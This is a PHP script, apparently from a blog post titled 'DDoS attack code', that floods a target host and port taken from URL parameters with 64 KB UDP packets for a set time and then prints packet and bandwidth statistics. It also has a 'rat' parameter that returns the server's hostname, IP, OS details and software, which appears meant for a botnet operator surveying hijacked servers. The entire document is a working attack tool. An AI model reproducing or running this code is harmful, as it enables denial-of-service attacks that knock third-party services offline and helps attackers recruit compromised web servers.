<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET['host'];
//攻击目标服务器端口
$port = $_GET['port'];
//攻击时长
$exec_time = $_GET['time'];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
if (StrLen($_GET['rat']) <> 0) {
echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
exit;
}
echo "Warning to: opening";
exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
$out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
//step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>
ddos攻击代码
最新推荐文章于 2025-03-24 14:28:38 发布